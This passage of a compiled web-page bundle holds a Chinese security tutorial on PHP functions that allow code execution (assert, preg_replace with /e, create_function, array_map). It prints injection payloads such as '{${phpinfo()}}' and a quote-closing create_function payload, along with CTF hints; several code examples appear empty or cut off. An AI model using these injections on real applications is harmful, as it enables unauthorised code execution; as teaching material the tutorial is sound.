7\u4e2d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u53ef\u4ee5\u662f\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"Throwable"}),"\u5bf9\u8c61\uff0c\u800c\u4e0d\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u65ad\u8a00\u5931\u8d25\u4e14\u542f\u7528\u4e86",(0,r.jsx)(e.code,{children:"assert.exception"}),"\uff0c\u90a3\u4e48\u8be5\u5bf9\u8c61\u5c06\u88ab\u629b\u51fa"]}),"\n",(0,r.jsx)(e.h4,{id:"assert\u914d\u7f6e",children:"assert()\u914d\u7f6e"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:"\u914d\u7f6e\u9879"}),(0,r.jsx)(e.th,{children:"\u9ed8\u8ba4\u503c"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u53ef\u9009\u503c"})]})}),(0,r.jsxs)(e.tbody,{children:[(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"zend.assertions"}),(0,r.jsx)(e.td,{children:"1"}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"1 - \u751f\u6210\u548c\u6267\u884c\u4ee3\u7801(\u5f00\u53d1\u6a21\u5f0f) 0 - \u751f\u6210\u4ee3\u7801\uff0c\u4f46\u5728\u6267\u884c\u65f6\u8df3\u8fc7\u5b83 -1 - \u4e0d\u751f\u6210\u4ee3\u7801(\u751f\u4ea7\u73af\u5883)"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"assert.exception"}),(0,r.jsx)(e.td,{children:"0"}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"1 - \u65ad\u8a00\u5931\u8d25\u65f6\u629b\u51fa\uff0c\u53ef\u4ee5\u629b\u51fa\u5f02\u5e38\u5bf9\u8c61\uff0c\u5982\u679c\u6ca1\u6709\u63d0\u4f9b\u5f02\u5e38\uff0c\u5219\u629b\u51faAssertionError\u5bf9\u8c61\u5b9e\u4f8b 0 - \u4f7f\u7528\u6216\u751f\u6210Throwable\uff0c\u4ec5\u4ec5\u662f\u57fa\u4e8e\u5bf9\u8c61\u751f\u6210\u7684\u8b66\u544a\u800c\u4e0d\u662f\u629b\u51fa\u5bf9\u8c61(\u4e0ePHP 5 \u517c\u5bb9)"})]})]})]}),"\n",(0,r.jsxs)(e.p,{children:["\u6240\u4ee5\u641e\u4e86\u8fd9\u4e48\u591a\uff0c",(0,r.jsx)(e.code,{children:"assert()"}),"\u51fd\u6570\u5230\u5e95\u662f\u5e72\u4ec0\u4e48\u7684\u5462\uff1f\u7528\u6211\u7684\u7406\u89e3\u6765\u8bf4\uff0c",(0,r.jsx)(e.code,{children:"assert()"}),"\u51fd\u6570\u662f\u5904\u7406\u5f02\u5e38\u7684\u4e00\u79cd\u5f62\u5f0f\uff0c\u76f8\u5f53\u4e8e\u4e00\u4e2aif\u6761\u4ef6\u8bed\u53e5\u7684\u5b8f\u5b9a\u4e49\u4e00\u6837\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2aPHP 7 \u4e2d\u7684\u793a\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"getMessage();\n }\n?>\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\u56e0\u4e3a1\u4e0d\u7b49\u4e8e2\uff0c\u6240\u4ee5\u524d\u9762\u65ad\u8a00\u5931\u8d25\uff0c\u629b\u51fa\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u5c31\u662f\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\uff0c\u7528\u8fd9\u4e2a\u5bf9\u8c61\u6765\u629b\u51fa\u5f02\u5e38\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2aphp 5 \u4e2d\u7684\u793a\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>Warning: assert(): \u524d\u9762\u65ad\u8a00\u5931\u8d25\uff0c\u629b\u51fa\u5f02\u5e38 failed in D:\\phpstudy_pro\\WWW\\1.php on line \n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>Warning: assert(): Assertion failed in D:\\phpstudy_pro\\WWW\\1.php on line ```\n\n\n\u6240\u4ee5PHP 7 \u76f8\u8f83\u4e8ePHP 5 \u5c31\u662f\u591a\u4e86\u4e2a\u7528Throwable\u6765\u53d1\u51fa\u8b66\u544a\u3002\n\n\u90a3\u4e48\uff0c\u5982\u679c\u524d\u9762\u65ad\u8a00\u6210\u529f\u5462\uff1f\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462?\u6765\u4e2a\u6700\u7b80\u5355\uff0c\u4e5f\u662f\u6211\u4eec\u6bd4\u8f83\u559c\u6b22\u7684\u793a\u4f8b\n\n```php\n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u5728PHP 5 \u548cPHP 7 \u4e2d\u90fd\u4f1a\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff0c\u867d\u7136PHP 7 \u4e2d\u5bf9\u65ad\u8a00\u51fd\u6570\u7684\u53c2\u6570\u7a0d\u4f5c\u4e86\u6539\u53d8\uff0c\u4f46\u662f\u4e3a\u4e86\u517c\u5bb9\u4f4e\u7248\u672c\uff0c\u6240\u4ee5\u8fd8\u662f\u4f1a\u76f4\u63a5\u8fd4\u56de\u7ed3\u679c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"preg_replace",children:"preg_replace()"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u51fd\u6570\u540d\u5b57\u6211\u4eec\u4e5f\u5e94\u8be5\u80fd\u591f\u4e86\u89e3\u51fd\u6570\u5927\u6982\u4f5c\u7528\uff0c\u6b64\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u641c\u7d22\u548c\u66ff\u6362\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u641c\u7d22 subject \u4e2d\u5339\u914d pattern \u7684\u90e8\u5206\uff0c \u4ee5 replacement \u8fdb\u884c\u66ff\u6362\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570\u8bf4\u660e",children:"\u53c2\u6570\u8bf4\u660e\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"$pattern: \u8981\u641c\u7d22\u7684\u6a21\u5f0f\uff0c\u53ef\u4ee5\u662f\u5b57\u7b26\u4e32\u6216\u4e00\u4e2a\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$replacement: \u7528\u4e8e\u66ff\u6362\u7684\u5b57\u7b26\u4e32\u6216\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$subject: \u8981\u641c\u7d22\u66ff\u6362\u7684\u76ee\u6807\u5b57\u7b26\u4e32\u6216\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$limit: \u53ef\u9009\uff0c\u5bf9\u4e8e\u6bcf\u4e2a\u6a21\u5f0f\u7528\u4e8e\u6bcf\u4e2a subject \u5b57\u7b26\u4e32\u7684\u6700\u5927\u53ef\u66ff\u6362\u6b21\u6570\u3002 \u9ed8\u8ba4\u662f-1\uff08\u65e0\u9650\u5236\uff09\u3002"}),"\n",(0,r.jsx)(e.li,{children:"$count: \u53ef\u9009\uff0c\u4e3a\u66ff\u6362\u6267\u884c\u7684\u6b21\u6570\u3002"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u90a3\u8fd9\u4e2a\u51fd\u6570\u8ddf\u6211\u4eec\u547d\u4ee4\u6267\u884c\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f\u4ec5\u4ec5\u770b\u4e0a\u9762\u7684\u5b98\u65b9\u89e3\u91ca\u4f3c\u4e4e\u770b\u4e0d\u51fa\u4ec0\u4e48\uff0c\u4f46\u662f",(0,r.jsx)(e.code,{children:"preg_repace()"}),"\u6709\u4e00\u4e2a\u6a21\u5f0f\u662f/e\u6a21\u5f0f\uff0c\u8fd9\u4e2a\u6a21\u5f0f\u5c31\u4f1a\u53d1\u751f\u4ee3\u7801\u6267\u884c\u7684\u95ee\u9898\uff0c\u4e3a\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,r.jsx)(e.p,{children:"\u770b\u4e00\u4e2a\u6848\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:" $value){\n echo Ameng($regex, $value) . \"\\n\";\n }\n?>\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u9762\u8fd9\u6bb5\u6211\u4eec\u9700\u8981\u6ce8\u610f\u7684\u5c31\u662f\\1,\\1\u5728\u6b63\u5219\u8868\u8fbe\u5f0f\u662f\u53cd\u5411\u5f15\u7528\u7684\u610f\u601d\uff0c\u7b80\u800c\u8a00\u4e4b\u5c31\u662f\u6307\u5b9a\u4e00\u4e2a\u5b50\u5339\u914d\u9879\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u9488\u5bf9\u4e0a\u9762\u6848\u4f8b\uff0c\u6211\u4eec\u6765\u4e2apayload\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"payload=/?.*={${phpinfo()}}\n\u6240\u4ee5\u8bed\u53e5\u5c31\u6210\u4e86\u8fd9\u6837\npreg_replace('/(.*)/ei', 'strtolower(\"\\\\1\")', {${phpinfo()}});\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u76f4\u63a5\u628a\u8fd9\u6bb5\u4ee3\u7801\u653e\u5230\u9875\u9762"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8bbf\u95ee\u9875\u9762\uff0c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648089.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u770b\u5230\u6210\u529f\u6267\u884c\u4e86\u4ee3\u7801\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f46\u662f\u8fd9\u91cc\u6211\u662f\u76f4\u63a5\u5c06\u8fd9\u6bb5\u4ee3\u7801\u5199\u5230\u4e86\u6587\u4ef6\u91cc\uff0c\u90a3\u4e48\u5982\u679c\u6211\u4eec\u662f\u901a\u8fc7GET\u4f20\u53c2\u5f97\u5230\u53c2\u6570\uff0c\u8fd9\u91cc\u9488\u5bf9\u4e0a\u9762\u90a3\u4e2a\u6848\u4f8b\u5c31\u9700\u8981\u6ce8\u610f\u4e00\u70b9\uff0c\u5728\u901a\u8fc7GET\u4f20\u53c2\u65f6\uff0c",(0,r.jsx)(e.code,{children:".*"}),"\u4f1a\u88ab\u66ff\u6362\u4e3a",(0,r.jsx)(e.code,{children:"_*"}),"\u5bfc\u81f4\u6211\u4eec\u8981\u7684\u6b63\u5219\u88ab\u66ff\u6362\u4e86\uff0c\u8fbe\u4e0d\u5230\u6211\u4eec\u7684\u6548\u679c\uff0c\u6240\u4ee5\u8fd9\u91cc\u53ef\u7528\u4f7f\u7528\u4e00\u4e9b\u5176\u4ed6\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u6765\u8fbe\u5230\u76ee\u7684\uff0c\u6bd4\u5982\u901a\u8fc7GET\u4f20\u53c2\u65f6\u6211\u4eec\u7684\u53c2\u6570\u53ef\u4ee5\u4f20\u5165",(0,r.jsx)(e.code,{children:"\\S*"}),"\u4ece\u800c\u8fbe\u5230\u540c\u6837\u76ee\u7684\u3002\u6240\u4ee5\u4ee5\u540e\u518d\u9047\u5230\u8fd9\u4e2a\u51fd\u6570\u7684\u65f6\u5019\uff0c\u8981\u7559\u4e2a\u5fc3\u773c\u4e86\u3002\u4e0d\u8fc7\uff0c\u8fd9\u91cc\u8981\u8865\u5145\u4e00\u70b9\uff0c\u5c31\u662f",(0,r.jsx)(e.code,{children:"preg_replace()"}),"\u51fd\u6570\u5728PHP 7 \u540e\u4fbf\u4e0d\u518d\u652f\u6301\uff0c\u4f7f\u7528",(0,r.jsx)(e.code,{children:"preg_replace_callback()"}),"\u8fdb\u884c\u66ff\u6362\u4e86\uff0c\u53d6\u6d88\u4e86\u4e0d\u5b89\u5168\u7684",(0,r.jsx)(e.code,{children:"\\e"}),"\u6a21\u5f0f\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"create_function",children:"create_function()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"create_function()"}),"\u7528\u6765\u521b\u5efa\u4e00\u4e2a\u533f\u540d\u51fd\u6570"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"create_function( string $args, string $code) : string\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-1",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"string $args \u58f0\u660e\u7684\u51fd\u6570\u53d8\u91cf\u90e8\u5206"}),"\n",(0,r.jsx)(e.li,{children:"string $code \u8981\u6267\u884c\u7684\u4ee3\u7801"}),"\n"]}),"\n",(0,r.jsx)(e.h4,{id:"\u8fd4\u56de\u503c-1",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd4\u56de\u552f\u4e00\u7684\u51fd\u6570\u540d\u79f0\u4f5c\u4e3a\u5b57\u7b26\u4e32\u6216\u8005\u8fd4\u56deFALSE\u9519\u8bef"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"create_function()"}),"\u51fd\u6570\u5728\u5185\u90e8\u6267\u884c",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\uff0c\u6765\u6267\u884c\u4ee3\u7801\u3002\u5f53\u7136\u6b63\u56e0\u4e3a\u5b58\u5728\u5b89\u5168\u95ee\u9898\uff0c\u6240\u4ee5\u5728PHP 7.2 \u4e4b\u540e\u7684\u7248\u672c\u4e2d\u5df2\u7ecf\u5e9f\u5f03\u4e86",(0,r.jsx)(e.code,{children:"create_function()"}),"\u51fd\u6570\uff0c\u4f7f\u7528\u533f\u540d\u51fd\u6570\u6765\u4ee3\u66ff\u3002\u6240\u4ee5\u8fd9\u91cc\u4e3a\u4e86\u6f14\u793a\u8fd9\u4e2a\u51fd\u6570\uff0c\u6211\u91c7\u7528\u7684\u662fPHP 5 \u7684\u73af\u5883\u3002\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u600e\u4e48\u7528\u5462\uff1f"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6765\u770b\u6211\u5199\u7684\u4e00\u4e2a\u7b80\u5355\u7684\u6848\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u770b\u5230\u4f7f\u7528\u6b64\u51fd\u6570\u4e3a\u6211\u4eec\u76f8\u5f53\u4e8e\u521b\u9020\u4e86\u4e00\u4e2a\u533f\u540d\u7684\u51fd\u6570\uff0c\u7ed9\u5b83\u8d4b\u4ee5\u76f8\u5e94\u7684\u53d8\u91cf\uff0c\u5c31\u6267\u884c\u4e86\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u6848\u4f8b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u4e3b\u8981\u529f\u80fd\u5c31\u662f\u5b9e\u73b0\u6392\u5e8f\uff0c\u8fd9\u6bb5\u4ee3\u7801\u5c31\u8c03\u7528\u4e86",(0,r.jsx)(e.code,{children:"create_function()"}),"\u51fd\u6570\uff0c\u90a3\u4e48\u6211\u4eec\u80fd\u5426\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u6267\u884c\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u5462\uff1f"]}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u7136\u53ef\u4ee5\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5728\u4f20\u53c2\u65f6\u5c06\u524d\u9762\u7684\u7b26\u53f7\u95ed\u5408\uff0c\u7136\u540e\u8f93\u5165\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u5373\u53ef\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"payload='\"]);}phpinfo();/*\n\u6267\u884cpayload\u524d\uff1a$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by . '\"], $b[\"' . $sort_by . '\"]);';\n\u6267\u884cpayloda\u540e\uff1a$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by '\"]);}phpinfo();/*\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u770b\u5230\u8fd9\u91cc\uff0c\u4f60\u53ef\u80fd\u4f1a\u6709\u7a0d\u5fae\u7591\u60d1\uff0c\u5c31\u662f\u4f60\u95ed\u5408\u5c31\u95ed\u5408\u5427\uff0c\u4e3a\u4ec0\u4e48\u540e\u9762\u591a\u4e86\u4e2a",(0,r.jsx)(e.code,{children:";}"}),"\uff0c\u4e0d\u77e5\u9053\u4f60\u662f\u5426\u60f3\u5230\u4e86\u8fd9\u4e00\u70b9\uff1f"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u5c31\u6765\u5206\u6790\u4e00\u4e0b\u8fd9\u4e2a\uff0c\u4e0a\u9762\u7684\u90a3\u6bb5\u6267\u884c\u4ee3\u7801\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a\u533f\u540d\u51fd\u6570\u7684\u521b\u5efa\uff0c\u65e2\u7136\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u6ce8\u610f\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u90a3\u4e48\u4f60\u89c9\u5f97\u6709\u6ca1\u6709\u82b1\u62ec\u53f7\u5462\uff1f\u770b\u6211\u5982\u4e0b\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u6211\u4eec\u501f\u7528\u4e86\u533f\u540d\u51fd\u6570\u7684\u4f4d\u7f6e\uff0c\u63d2\u5165\u4e86\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\uff0c\u7136\u540e\u7b49\u8fd9\u4e2a\u533f\u540d\u51fd\u6570\u88ab",(0,r.jsx)(e.code,{children:"create_function"}),"\u5f53\u4f5c",(0,r.jsx)(e.code,{children:"$code"}),"\u6267\u884c\u7684\u65f6\u5019\uff0c\u662f\u4e0d\u662f\u4ee3\u7801\u5c31\u88ab\u6267\u884c\u4e86\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648090.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u90a3\u4e48",(0,r.jsx)(e.code,{children:"creat_function"}),"\u51fd\u6570\u8fd8\u6709\u522b\u7684\u7528\u6cd5\u5417\uff1f\u6211\u4eec\u5c06\u4e0a\u9762\u4e00\u4e2a\u6848\u4f8b\u7b80\u5355\u7684\u4fee\u6539\u4e00\u4e0b\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4ee3\u7801\u7b80\u5355\u7684\u6765\u770b\uff0c\u6211\u4eec\u53ea\u9700\u8981\u6267\u884c",(0,r.jsx)(e.code,{children:"$onefunc"}),"\u5c31\u80fd\u5f97\u5230flag\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u7684\u540d\u79f0\u3002\u5982\u679c\u5728\u4e0d\u77e5\u9053\u51fd\u6570\u540d\u79f0\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u51fd\u6570\u5462\uff1f\u8fd9\u91cc\u5c31\u7528\u5230\u4e86",(0,r.jsx)(e.code,{children:"creat_function"}),"\u51fd\u6570\u7684\u4e00\u4e2a\u6f0f\u6d1e\u3002\u8fd9\u4e2a\u51fd\u6570\u5728creat\u4e4b\u540e\u4f1a\u81ea\u52a8\u751f\u6210\u4e00\u4e2a\u51fd\u6570\u540d\u4e3a",(0,r.jsx)(e.code,{children:"%00lambda_%d"}),"\u7684\u533f\u540d\u51fd\u6570\u3002",(0,r.jsx)(e.code,{children:"%d"}),"\u7684\u503c\u662f\u4e00\u76f4\u9012\u589e\u7684\uff0c\u4f1a\u4e00\u76f4\u9012\u589e\u5230\u6700\u5927\u957f\u5ea6\u76f4\u5230\u7ed3\u675f\u3002\u6240\u4ee5\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u591a\u8fdb\u7a0b\u6216\u8005\u591a\u7ebf\u7a0b\u8bbf\u95ee\uff0c\u4ece\u800c\u770b\u5230flag\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6240\u4ee5\uff0c\u4ee5\u540e\u518d\u4ee3\u7801\u4e2d\u5982\u679c\u770b\u5230\u8c03\u7528",(0,r.jsx)(e.code,{children:"create_function()"}),"\u8981\u5c0f\u5fc3\u4e00\u70b9\uff0c\u4f46\u662f\u5982\u679c\u662fCTF\u9898\u76ee\u7684\u8bdd\uff0c\u4e0d\u4f1a\u8fd9\u4e48\u76f4\u63a5\u5c31\u5427\u8fd9\u4e2a\u51fd\u6570\u66b4\u9732\u7ed9\u4f60\uff0c\u5b83\u53ef\u80fd\u4f1a\u7528\u5230\u62fc\u63a5\u6216\u8005\u66ff\u6362\u6765\u6784\u9020\u8fd9\u4e2a\u51fd\u6570\u3002\u6700\u540e\u518d\u5f3a\u8c03\u4e00\u4e0b\uff0c",(0,r.jsx)(e.code,{children:"create_function"}),"\u51fd\u6570\u5728PHP 7.2 \u7248\u672c\u4e4b\u540e\u5c31\u5df2\u7ecf\u88ab\u5e9f\u5f03\u4e86\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"array_map",children:"array_map()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"array_map()"}),"\u4e3a\u6570\u7ec4\u7684\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u56de\u8c03\u51fd\u6570"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"array_map( callable $callback, array $array1[, array $...] ) : array\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"array_map()"}),"\uff1a\u8fd4\u56de\u6570\u7ec4\uff0c\u662f\u4e3a ",(0,r.jsx)(e.code,{children:"array1"})," \u6bcf\u4e2a\u5143\u7d20\u5e94\u7528 ",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u4e4b\u540e\u7684\u6570\u7ec4\u3002",(0,r.jsx)(e.code,{children:"callback"})," \u51fd\u6570\u5f62\u53c2\u7684\u6570\u91cf\u548c\u4f20\u7ed9",(0,r.jsx)(e.code,{children:"array_map()"})," \u6570\u7ec4\u6570\u91cf\uff0c\u4e24\u8005\u5fc5\u987b\u4e00\u6837\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-2",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"callback\uff1a\u56de\u8c03\u51fd\u6570\uff0c\u5e94\u7528\u5230\u6bcf\u4e2a\u6570\u7ec4\u91cc\u7684\u6bcf\u4e2a\u5143\u7d20\u3002"}),"\n",(0,r.jsxs)(e.li,{children:["array1\uff1a\u6570\u7ec4\uff0c\u904d\u5386\u8fd0\u884c",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["...\uff1a\u6570\u7ec4\u5217\u8868\uff0c\u6bcf\u4e2a\u90fd\u904d\u5386\u8fd0\u884c",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.h4,{id:"\u8fd4\u56de\u503c-2",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd4\u56de\u6570\u7ec4\uff0c\u5305\u542b",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u5904\u7406\u4e4b\u540e",(0,r.jsx)(e.code,{children:"array1"}),"\u7684\u6240\u6709\u5143\u7d20\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u8bf4\u4e86\u8fd9\u4e48\u591a\u5b98\u65b9\u7684\u51fd\u6570\u89e3\u91ca\uff0c\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u5982\u4f55\u4f7f\u7528\u5462\uff1f\u7b80\u800c\u8a00\u4e4b\uff0c\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u53ef\u4ee5\u8fd9\u4e48\u76f4\u767d\u7684\u89e3\u91ca\u4e00\u4e0b\u3002\u4f60\u672c\u6765\u6709\u4e00\u4e2a\u6570\u7ec4\uff0c\u7136\u540e\u6211\u901a\u8fc7",(0,r.jsx)(e.code,{children:"array_map"}),"\u51fd\u6570\u5c06\u4f60\u8fd9\u4e2a\u6570\u7ec4\u5f53\u4f5c\u53c2\u6570\u4f20\u5165\uff0c\u7136\u540e\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4\u3002\u89c1\u4e0b\u56fe\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648091.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\narray(5) {\n [0]=>\n int(1)\n [1]=>\n int(4)\n [2]=>\n int(9)\n [3]=>\n int(16)\n [4]=>\n int(25)\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u5927\u6982\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u8c03\u7528\u56de\u8c03\u51fd\u6570\uff08\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff09\u6765\u5b9e\u73b0\u5bf9\u73b0\u6709\u6570\u7ec4\u7684\u64cd\u4f5c\uff0c\u4ece\u800c\u5f97\u5230\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u529f\u80fd\u6211\u77e5\u9053\u4e86\uff0c\u53ef\u662f\u8fd9\u4e2a\u548c\u4ee3\u7801\u6267\u884c\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f\u5982\u4f55\u80fd\u591f\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u6267\u884c\u4ee3\u7801\u5462\uff1f\u4e14\u770b\u4e0b\u9762\u6240\u793a\u4ee3\u7801\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\narray(1) {\n [0]=>\n string(21) 